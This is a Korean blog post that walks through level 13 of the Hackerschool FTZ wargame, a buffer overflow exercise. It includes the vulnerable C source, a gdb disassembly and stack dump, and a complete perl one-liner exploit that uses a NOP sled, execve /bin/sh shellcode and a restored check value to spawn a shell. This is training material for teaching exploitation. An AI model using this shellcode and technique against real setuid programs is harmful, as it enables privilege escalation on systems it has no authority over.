본문 바로가기
hackerschool bof/hackerschool ftz

해커스쿨(Hackerschool) FTZ Level13 문제풀이

by 깝태 2011. 4. 17.

해커스쿨(Hackerschool) FTZ Level13 문제풀이를 시작하겠습니다.

[level13@ftz level13]$ ls
attackme  hint  public_html  tmp

공격대상 파일인 attackme 파일이 있고 힌트파일이 있습니다.
 
[level13@ftz level13]$ cat hint

#include <stdlib.h> 

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

문자열을 메인함수 인자로 입력받습니다. 그리고 strcpy 복사하는 과정에서 제한을 받지 않으므로
취약점이 생깁니다. 그러나 이번에는 공격을 감지하는 기능이 있습니다. 바로 처음에 선언해주는 i 가 1234567
이 아닐경우 Warnning: Buffer Overflow !!! 라는 메세지를 출력하면서 종료합니다.

그러니깐 i 값만 덮어씌워주면 됩니다. 정확한 i 값의 위치와 나머지 값들의 메모리 구조를 알아봅시다.

 (gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push   %ebp
0x080484a1 <main+1>: mov    %esp,%ebp
0x080484a3 <main+3>: sub    $0x418,%esp ==> 더미 포함 크기가 1048 유추
0x080484a9 <main+9>: movl   $0x1234567,0xfffffff4(%ebp)
0x080484b0 <main+16>: sub    $0x8,%esp
0x080484b3 <main+19>: push   $0xc16
0x080484b8 <main+24>: push   $0xc16
0x080484bd <main+29>: call   0x8048370 <setreuid>
0x080484c2 <main+34>: add    $0x10,%esp
0x080484c5 <main+37>: cmpl   $0x1,0x8(%ebp)
0x080484c9 <main+41>: jle    0x80484e5 <main+69>
0x080484cb <main+43>: sub    $0x8,%esp
0x080484ce <main+46>: mov    0xc(%ebp),%eax
0x080484d1 <main+49>: add    $0x4,%eax
0x080484d4 <main+52>: pushl  (%eax)
0x080484d6 <main+54>: lea    0xfffffbe8(%ebp),%eax
0x080484dc <main+60>: push   %eax
0x080484dd <main+61>: call   0x8048390 <strcpy>
0x080484e2 <main+66>: add    $0x10,%esp
0x080484e5 <main+69>: cmpl   $0x1234567,0xfffffff4(%ebp) ==> -12 위치에서 검사함 
==> 1048 크기 중 -12 위치에서 검사하
0x080484ec <main+76>: je     0x804850d <main+109>
0x080484ee <main+78>: sub    $0xc,%esp
0x080484f1 <main+81>: push   $0x80485a0
0x080484f6 <main+86>: call   0x8048360 <printf>
0x080484fb <main+91>: add    $0x10,%esp
0x080484fe <main+94>: sub    $0x8,%esp
0x08048501 <main+97>: push   $0xb
0x08048503 <main+99>: push   $0x0
0x08048505 <main+101>: call   0x8048380 <kill>
0x0804850a <main+106>: add    $0x10,%esp
0x0804850d <main+109>: leave  
---Type <return> to continue, or q <return> to quit---
0x0804850e <main+110>: ret    
0x0804850f <main+111>: nop    
End of assembler dump.

메모리 구조는 이렇게 됩니다.
(낮은주소) [ BUF(1024 Byte) + DUMMY + I(4) + DUMMY + SFP(4) + RET(4) ] (높은주소) <== 메모리 구조

대충 공략 구조를 그려보자면
NOP(1011) + SHELLCODE(25) + I(4) + NOP(8) 이면 될것같습니다.

브레이크 포인터를 걸고 RET 를 덮어씌울 주소를 찾아보겠습니다.

 (gdb) b *main+109
Breakpoint 1 at 0x804850d
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/level13/attackme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x0804850d in main ()
(gdb) x/200 $esp
0xbffff630: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff640: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff650: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff660: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff670: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff680: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff690: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff6a0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff6b0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff6c0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff6d0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff6e0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff6f0: 0x61616161 0x61616161 0x00000000 0x00000000
0xbffff700: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff710: 0x00000001 0x00000000 0x00000000 0x00000000
~~~~~~~~~~~~~
0xbffff820: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---

RET 주소를 0xbffff690 쯤 으로 잡고 익스플로잇을 짜보겠습니다.

[level13@ftz level13]$ ./attackme `perl -e 'print "\x90"x1011, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80", "\x67\x45\x23\x01", "\x90"x12, "\x90\xf6\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "                     ".

이렇게 또 쉘을 따는데 성공하였습니다, 수고하셨습니다.